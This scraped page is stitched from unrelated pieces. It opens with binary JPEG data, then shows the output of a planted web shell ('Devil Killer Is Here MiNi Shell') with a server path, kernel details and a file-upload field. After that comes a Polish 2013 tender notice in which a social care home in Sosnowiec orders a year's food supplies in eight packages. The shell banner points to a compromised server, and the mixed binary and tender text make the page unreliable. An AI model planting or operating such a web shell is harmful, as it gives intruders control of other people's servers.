JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20131115/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20131115/466454-N-2013.html

<p class="kh_header"><b>Sosnowiec: dostawy artykułów żywnościowych na rok 2014 na potrzeby Domu Pomocy Społecznej nr1 w Sosnowcu z podziałem na 8 pakietów</b><br>
<b>Numer ogłoszenia: 466454 - 2013; data zamieszczenia: 15.11.2013</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Dom Pomocy Społecznej Nr 1 , ul. gen. Wł. Andersa 81b, 41-200 Sosnowiec, woj. śląskie, tel. 32 2665042, faks 32 2665042.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> dsps1sosnowiec.pl- zakładka BIP</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Inny: pomoc społeczna.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> dostawy artykułów żywnościowych na rok 2014 na potrzeby Domu Pomocy Społecznej nr1 w Sosnowcu z podziałem na 8 pakietów.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Pakiet nr 1 - Dostawa mięsa, produktów mięsnych, dróbiu (KOD CPV: 15100000-9)
Pakiet nr 2 - Dostawa mleka i produktów mleczarskich (KOD CPV: 15500000-3)
Pakiet nr 3 - Dostawa różnych produktów spożywczych (KOD CPV:15800000-6)
Pakiet nr 4 - Dostawa ryb mrożonych (KOD CPV: 15220000-6)
Pakiet nr 5 - Dostawa warzyw mrożonych (KOD CPV: 15331170-9)
Pakiet nr 6-  Dostawa warzyw, ziemniaków i owoców świeżych (KODCPV : 03200000-3)
Pakiet nr 7 - Dostawa jaj ( KOD CPV: 03142500-3)
Pakiet nr 8 - Dostawy pieczywa, świeżych wyrobów piekarskich i ciastkarskich ( KOD CPV : 15810000-9)
1.	BALERON		kg	65
2.	BIAŁA KIEŁBASA PARZONA		kg	6
3.	BOCZEK ŚWIEŻY BEZ SKÓRY B/K		kg	7
4.	BOCZEK WĘDZONY BEZ KOŚCI		kg	33
5.	FILET PIECZONY Z INDYKA		kg	30
6.	KARCZEK  Z KOŚCIĄ		kg	227
7.	KARCZEK PIECZONY		kg	6
8.	KASZANKA		kg	115
9.	KIEŁ.PARÓWKOWA		kg	220
10.	KIEŁB.PODWAWELSKA		kg	240
11.	KIEŁB.ŚLĄSKA		kg	50
12.	KIEŁBASA  KMINKOWA		kg	74
13.	KIEŁBASA GŁOGOWSKA		kg	8
14.	KIEŁBASA KRAKOWSKA  PIECZONA		kg	100
15.	KIEŁBASA SZYNKOWA WIEPRZOWA		kg	78
16.	KORPUSY Z KURCZAKA		kg	225
17.	KOŚCI Z KARCZKU		kg	15
18.	KURCZAK ŚWIEŻY		kg	765
19.	ŁOPATKA  BEZ KOŚCI 		kg	300
20.	MIELONKA TYROLSKA PRASOWANA		kg	60
21.	PARÓWKI CIELĘCE		kg	46
22.	PARÓWKI WIEPRZOWE WINERKI		kg	60
23.	PASZTET  PIECZONY		kg	63
24.	PASZTETOWA		kg	60
25.	PIECZEŃ WIEPRZOWA		kg	150
26.	PIECZEŃ WOŁOWA Z ŁOPATKI BEZ KOŚCI		kg	200
27.	PIERSI Z INDYKA		kg	40
28.	PIERSI Z KURCZAKA		kg	215
29.	POLEDWICA KRÓLEWSKA		kg	30
30.	POLĘDWICA SOPOCKA		kg	10
31.	ROLADA BOCZKOWA		kg	18
32.	ROLADA SCHABOWA 		kg	13
33.	ROSÓŁ WOŁOWY ROZBRATEL		kg	215
34.	SALCESON OZORKOWY		kg	110
35.	SCHAB Z KOŚCIĄ		kg	160
36.	SŁONINA ŚWIEŻA BEZ SKÓRY		kg	100
37.	SZYNKA DROBIOWA Z INDYKA 		kg	115
38.	SZYNKA KONSERWOWA		kg	75
39.	SZYNKA WIEJSKA		kg	180
40.	UDKA  Z KURCZAKA		kg	315
41.	WĄTRÓBKA Z KURCZAKA		kg	100
42.	ŻEBERKA WIEPRZOWE		kg	138
43.	ŻOŁĄDKI KURCZAKA		kg	20

1.	JOGURT DANON GRATKA 120 g		szt.	1 900
2.	KEFIR LUKSUSOWY 2% 250g		szt.	420
3.	MARGARYNA 250g		szt.	2 400
4.	MASŁO EXTRA  MIX PASŁĘCKI 77% TŁUSZCZU 200 g		kg	755
5.	MLEKO 2% 0,9L W  WORECZKACH		szt.	9 810
6.	MLEKO 2% 1 L KARTONY		szt.	190
7.	MLEKO W PROSZKU 400g		szt.	25
8.	OLEJ RZEPAKOWY 1L		szt.	575
9.	SER ŻÓŁTY GOŁDA		kg	110
10.	SER ŻÓŁTY SALAMI		kg	110
11.	SEREK BIELUCH 150g		szt.	240
12.	SEREK HOMOGENIZOWANY SMAKOWY 125g		szt.	2 424
13.	serek wiejski 150 g		szt.	20
14.	SEREK TOPIONY 17,5g		szt.	885
15.	SEREK TOPIONY 50g		szt.	2 730
16.	SER FAVITA 270 g 18% TŁUSZCZU		szt.	4
17.	ŚMIETANA  30% 0,5 l		szt.	720
18.	TWARÓG PÓŁTŁUSTY		kg	590

1.	ANANAS KAWAŁKI - PUSZKA 580 ml		szt.	8
2.	BAZYLIA 10 g		szt.	8
3.	BISZKOPTY 120G		szt	50
4.	BITA ŚMIETANA W SPRAY		szt.	15
5.	BRZOSKWINIA PUSZKA 820 g		szt.	100
6.	BUDYŃ Z CUKREM 63 g		szt.	500
7.	BULION GRZYBOWY 60 g		szt.	5
8.	CZEKOLADA NA GORĄCO 500 g		OP	5
9.	CHRZAN 300 g		szt	80
10.	CIASTKA KRUCHE RÓŻNE 		kg	30
11.	CUKIER 1 kg		kg	1 100
12.	CUKIER PUDER 400 g		szt.	190
13.	CUKIER WANILIOWY 32g		szt.	450
14.	CUKIERKI GALARETKA W CZEKOLADZIE		kg	5
15.	CUKIERKI W PAPIERKACH LANDRNKI NADZIEWANE		kg	5
16.	CYNAMON 20 g		szt.	50
17.	CZEKOLADA GORZKA 100 g		szt.	70
18.	CZEKOLADA mleczna 100 g		szt.	70
19.	CZOSNEK GRANULOWANY 20 g		szt.	25
20.	ĆWIKŁA Z CHRZANEM 300 g		szt.	12
21.	DELICJE 147 g lub równoważne 		szt.	120
22.	DROŻDŻE 		kg	20
23.	DŻEM RÓZNE SMAKI 330 G		szt	1 400
24.	FASOLA SZPARAGOWA SŁOIK 400 g		szt.	6
25.	FIGURKA ŚW.MIKOŁAJA 64 g		szt.	70
26.	GAŁKA MUSZKATOŁOWA MIELONA 15 g		szt.	25
27.	GALARETKA OWOCOWA  75 g		szt.	650
28.	GROSZEK KONSERWOWY 400 g		szt.	140
29.	GRZYBY SUSZONE /PODGRZYBEK/40G		szt.	20
30.	HERBATA LIŚCIASTA JUNAN 250 G		kg	95
31.	HERBATA LIPTON W SASZETKACH a 100 szt		OP	1
32.	HERBATA SAGA  a 200 SZT		OP	2
33.	HERBATA SAGA DZIKA RÓZA I MALINA  a 30 SZT		OP	2
34.	HERBATA GRZANIEC a 30 szt		op	4
35.	KASZA JECZMIENNA PERŁOWA 1 kg		kg	150
36.	KAKAO ROZPUSZCZALNE 600 g		szt	8
37.	KAKAO HOLENDERSKIE 200 g		szt.	24
38.	KAPUSTA CZERWONA KONSERWOWA 900 g		szt.	300
39.	KASZA GRYCZANA  1  kg		kg	80
40.	KASZA MANNA 1kg		kg	280
41.	KAWA ROZPUSZCZALNA PRWADZIWA 200 g		szt.	15
42.	KAWA ZBOŻOWA KUJAWIANKA 0,5 kg		szt.	360
43.	KETCHUP TORTEX ŁAGODNY 0,5 kg		szt.	80
44.	KISIEL Z CUKREM 77 g		szt.	300
45.	KONCENTRAT BURACZANY KRAKUS LUB RÓWNOWAŻNY 300 ml		szt.	50
46.	KONCENTRAT PUDLISZKI POMIDOROWY 30% LUB RÓWNOWAŻNY 1000 g		szt.	50
47.	KONCENTRAT POMIDOROWY 30%  200 g		szt.	24
48.	KOPEREK SUSZONY 25 g		szt.	40
49.	KUCHAREK 1 kg		kg	90
50.	KUKURYDZA KONSERWOWA 400 g		szt.	80
51.	KWASEK CYTRYNOWY 20 g		szt.	70
52.	LIŚĆ LAUROWY 8 g		szt.	50
53.	MAJERANEK 10 g		szt.	80
54.	MAJONEZ KIELECKI 310 g		szt.	130
55.	MAK NIEBIEKI 0,5kg		szt.	20
56.	MAKARON  LUBELLA KOKARDKI ,KOLANKA OZDOBNE,WSTĄŻKI,ZACIERKA,MUSZELKI ,NITKI  LUB RÓWNOWAŻNY,ŚWIDERKI ŁAZANKIa 500 g		kg	700
57.	MĄKA PSZENNA 1 kg		kg	1 000
58.	MĄKA ZIEMNIACZANA 1kg		kg	200
59.	MIESZANKA MEKSYKAŃSKA 400 g		szt.	50
60.	MIGDAŁY 100 g		szt.	10
61.	MIÓD WIELOKWIATOWY 25g		szt.	1 500
62.	MIÓD WIELOKWIATOWY 370G		szt.	30
63.	MUSZTARDA DELIKATESOWA 175 g		szt.	280
64.	OREGANO  20 g		szt	20
65.	OCET WINNY BIAŁY 500 ml		szt.	10
66.	ORZECH WŁOSKI ŁUSKANY 100g		szt	20
67.	OCET 500 ml		szt.	50
68.	OGÓRKI KONSERWOWE 900 g		szt.	180
69.	ORANŻADA 1,5		szt	12
70.	OLEJEK AROMAT 10G		szt.	100
71.	PAPRYKA KONSERWOWA 650 g		szt.	70
72.	PAPRYKA SŁODKA W PROSZKU 20 g		szt.	50
73.	PALUSZKI SŁONE  200 g		szt	25
74.	PASZTECIK DROBIOWY 90 g		szt.	2 800
75.	PIEPRZ  CZARNY MIELONY 20 g		szt	400
76.	PŁATKI OWSIANE GÓRSKI 500  g		szt.	140
77.	PIETRUSZKA SUSZONA 10 g		szt	50
78.	PROSZEK DO PIECZENIA 36 g		szt.	180
79.	PRZECIER OGÓRKOWY 290 g		szt.	220
80.	PIERNIKI NADZIEWANE 200 g		szt.	70
81.	PRZYPRAWA DO RYB 20 g		szt	5
82.	PRZYPRAWA DO ZIEMNIAKÓW 30g		szt	5
83.	PRZYPRAWA DO PIERNIKA 30 g		szt	40
84.	PRZYPRAWA DO ZUP WINIARY 1 l		szt.	190
85.	RODZYNKI  100 g		szt	50
86.	ROSOŁEK DROBIOWY WINIARY 60 g		OP	100
87.	RYŻ 1kg		kg	370
88.	SAŁATKA SZWEDZKA 900 g		szt.	80
89.	SODA 80 g		szt.	20
90.	SERNIK NA ZIMNO 500 g		szt	10
91.	SOK POMARAŃCZOWY W KARTONIE 100% 1 l		szt.	24
92.	SOS CZOSNKOWY 0,5 l		szt	4
93.	SOK POMARAŃCZOWY 100% 200 ml		szt.	100
94.	SOS TRUSKAWKOWY 500 g		szt.	2
95.	SOS CZEKOLADOWY 500 g		szt.	2
96.	SYROP OWOCOWY 500 ml		szt.	1 100
97.	SOS ZIOŁOWY  10 g		szt.	5
98.	SÓL 1 kg		kg	320
99.	SUCHARKI   290 g		szt.	50
100.	SZCZAW KONSERWOWY 290 g		szt.	50
101.	ŚMIETANKA W PROSZKU CREMONA 200 g		szt.	5
102.	TYMIANEK 10 g		szt.	5
103.	VEGETA 200G		szt.	2
104.	WAFELKI ARO 40G		szt.	200
105.	WAFLE RÓZNE SMAKI180G		szt.	120
106.	WIÓRKI KOKOSOWE  0,5 kg		szt	6
107.	WINO MUSUJĄCE 750 ml		szt.	12
108.	WODA MINERALNA  1,5 l		szt.	600
109.	WODA MINERALNA GAZOWANA 0,5l		szt.	40
110.	ZIELE ANGIELSKIE 15 g		szt.	45
111.	ZIOŁA PROWAN.9g		szt.	10
112.	ŻELATYNA  50 g		szt.	180

1.	FILET MROŻONY Z TILAPI		kg	145
2.	KARP ŻYWY		kg	28
3.	MAKRELA WĘDZONA		kg	100
4.	MATJAS 		kg	128
5.	MINTAJ FILET MROŻONY		kg	70
6.	DORSZ FILET MROŻONY		kg	13
7.	ŚLEDŹ KONSER.W OLEJU 170 g		szt 	130
8.	ŚLEDŹ KONSER.W POMIDORACH 170 g		szt	352
9.	TUŃCZYK KONSERW. KAWAŁKI 170 g		szt	45

1.	BARSZCZ UKRAIŃSKI 		kg	40
2.	BROKUŁY MROŻONE 		kg	130
3.	FASOLKA SZPARAGOWA 		kg	45
4.	FLAKI WOŁOWE SUCHE CIĘTE  900g		szt	145
5.	JAGODA MROŻONA 		kg	25
6.	KALAFIOR MROŻONY 		kg	45
7.	MARCHEWKA MROŻONA 		kg	240
8.	MIESZANKA KOMPOTOWA 		kg	660
9.	MIESZANKA WARZYWNA 7 SKŁADNIKOWA 		kg	215
10.	SZPINAK MROŻONY BRYKIET 		kg	95
11.	TRUSKAWKA MROŻONA 		kg	165
12.	WŁOSZCZYZNA MROŻONA PASKI		kg	225
13.	WARZYWA NA PATELNIĘ 		kg	20
14.	WIŚNIA 		kg	10


1.	ARBUZ		kg	22
2.	BANANY		kg	70
3.	BOTWINKA		szt.	40
4.	BROKUŁY ŚWIEŻE		szt.	90
5.	BURAKI		kg	700
6.	CEBULA		kg	610
7.	CEBULKA ZIELONA		pęczki	100
8.	CYTRYNA		kg	215
9.	CZOSNEK GŁÓWKA		szt.	190
10.	FASOLA JAŚ		kg	70
11.	FASOLKA SZPARAGOWA		kg	13
12.	GRUSZKA SUSZONA		kg	2
13.	GROCH ŁUSKANY		kg	70
14.	JABŁKA		kg	780
15.	JABŁKA SUSZONE		kg	2
16.	JAGODA ŚWIEŻA		kg	10
17.	KALAFIOR		szt.	60
18.	KAPUSTA BIAŁA		kg	900
19.	KAPUSTA BIAŁA  MŁODA		szt.	180
20.	KAPUSTA PEKIŃSKA		szt.	135
21.	KAPUSTA KISZONA		kg	780
22.	KIWI		kg	4
23.	KOPEREK ŚWIEZY		pęczki	320
24.	MANDARYNKA		kg	150
25.	MARCHEW		kg	1200
26.	NEKTARYNKA		kg	10
27.	OGÓREK GRUNTOWY		kg	150
28.	OGÓREK KISZONY		kg	150
29.	OGÓREK MAŁOSOLNY		kg	60
30.	OGÓREK ZIELONY		kg	150
31.	PAPRYKA ŚWIEŻA		kg	3
32.	PIECZARKI		kg	135
33.	PIETRUSZKA KORZEŃ		kg	340
34.	PIETRUSZKA NATKA		pęczki	680
35.	POMARAŃCZE		kg	30
36.	POMIDORY		kg	300
37.	POR		szt.	150
38.	RZODKIEWKA		pęczki	300
39.	SAŁATA ZIELONA		szt.	300
40.	SELER KORZEŃ		kg	570
41.	SELER ZIELONY		szt.	60
42.	SZCZYPIOREK		pęczki	30
43.	ŚlIWKA SUSZONA		kg	2
44.	ŚLIWKI WĘGIERKA		kg	40
45.	TRUSKAWKA		kg	20
46.	WINOGRONA		kg	5
47.	ŻUREK ŚLĄSKI FOLIA 0,5 l		szt.	250
48.	ZIEMNIAKI		kg	10 000
49.	ZIEMNIAKI MŁODE		kg	1000

1.	JAJA Kl.JAKOŚCI A KAT.WAGOWA L/63-73/g		szt.	17 200


1.	BUŁKA DROŻDŻOWA 160g		szt.	1 400
2.	BUŁKA TARTA  0,5KG		szt.	360
3.	BUŁKA ZWYKŁA 85 g		szt.	16 500
4.	CHLEB BALTONOWSKI 600 g		szt.	9 450
5.	CHLEB RAZOWY 400g		szt.	620
6.	CIASTO CZEKOLADOWE		kg	30
7.	FRANCUZ 400 g		szt.	780
8.	PĄCZEK 100 g		szt.	450
9.	PIERNIK		kg	12
10.	SERNIK KRAKOWSKI		kg	20
11.	STRUCLA MAKOWA		kg	12.</p>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 15.80.00.00-6, 15.10.00.00-9, 15.55.00.00-3, 15.80.00.00-6, 15.22.00.00-6, 15.33.11.70-9, 03.20.00.00-3, 03.14.25.00-3, 15.81.00.00-9.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 8.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 31.12.2014.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>


<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Z uwagi na charakter przedmiotu zamówienia nie opisuje się sopsobu dokonywania oceny spełnienia warunków udziału w postepowaniu. Zamawiający wymaga złozenia oświadczenia  zał.nr 3 do SIWZ.</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Z uwagi na charakter przedmiotu zamówienia nie opisuje się sopsobu dokonywania oceny spełnienia warunków udziału w postepowaniu. Zamawiający wymaga złozenia oświadczenia  zał.nr 3 do SIWZ.</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Z uwagi na charakter przedmiotu zamówienia nie opisuje się sopsobu dokonywania oceny spełnienia warunków udziału w postepowaniu. Zamawiający wymaga złozenia oświadczenia  zał.nr 3 do SIWZ.</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Z uwagi na charakter przedmiotu zamówienia nie opisuje się sopsobu dokonywania oceny spełnienia warunków udziału w postepowaniu. Zamawiający wymaga złozenia oświadczenia  zał.nr 3 do SIWZ.</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Z uwagi na charakter przedmiotu zamówienia nie opisuje się sopsobu dokonywania oceny spełnienia warunków udziału w postepowaniu. Zamawiający wymaga złozenia oświadczenia  zał.nr 3 do SIWZ.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>

<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

</ul>

<p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul><p><b>III.6) INNE DOKUMENTY</b></p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>1.Formularz asortymentowo cenowy zał.nr 1 w zalęzności od części
2.formularz cenowy
3.oświadczenie art.22 ust.1, oświadczenie o braku podstaw do wykluczenia na podstawie art.24 ust.1 i 2 Pzp - zal.nr 3 do SIWZ
4.oświadczenie o przynależności lu nie prznależści do grupy kapitałowej zał. nr 5 do SIWZ</p>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>

<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> dps1sosnowiec.pln - zakładka BIP<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Dom Pomocy Społecznej nr 1 Sosnowiec ul.gen.Wł.Andersa 81
Administracja.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 25.11.2013 godzina 12:00, miejsce: Dom Pomocy  Społecznej nr 1 w Sosnowcu ul.gen.Wł.Andersa 81 b
dziennik podawczy.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





